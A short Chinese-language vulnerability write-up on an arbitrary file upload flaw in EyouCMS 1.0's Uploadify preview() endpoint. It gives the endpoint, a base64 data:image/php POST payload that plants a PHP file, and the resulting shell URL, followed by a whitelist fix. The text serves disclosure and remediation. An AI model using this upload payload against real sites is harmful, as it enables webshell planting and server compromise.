0x01 前言


官网:http://www.eyoucms.com/download/
Cms下载地址:http://www.eyoucms.com/eyoucms1.0.zip

一顿查看以后,发现了个很奇葩的任意上传接口,这个漏洞应该是补天那个老哥提交的漏洞了。查找到以后就分析一波了。

0x02 利用

老样子:先讲如何利用
url: test.eyoucms1.0.com/index.php/api/Uploadify/preview

构造: <?php phpinfo;

post: data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

Shell: http://test.eyoucms1.0.com/preview/ae85d74a721b0b8bd247bc31207a12e2.php

0x03 漏洞详解

漏洞文件: eyoucms1.0\application\api\controller\Uploadify.php
漏洞函数:preview()


这里我将每行有意义的代码都解释了一下帮助读者进行查看。

而我刚开始时也思考了一下,这会不会是作者故意搞的后门?
带着这个问题我去问了一下加的php群的一些程序员 他们很惊讶的 表示data:image/ 居然还可以不是图片?
好吧。到这里我就基本明白为什么这个漏洞会出现了,估计作者以为data:image/ 只能是图片。

0x04 漏洞修复建议

if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
   exit;
}

源链接

Hacking more

...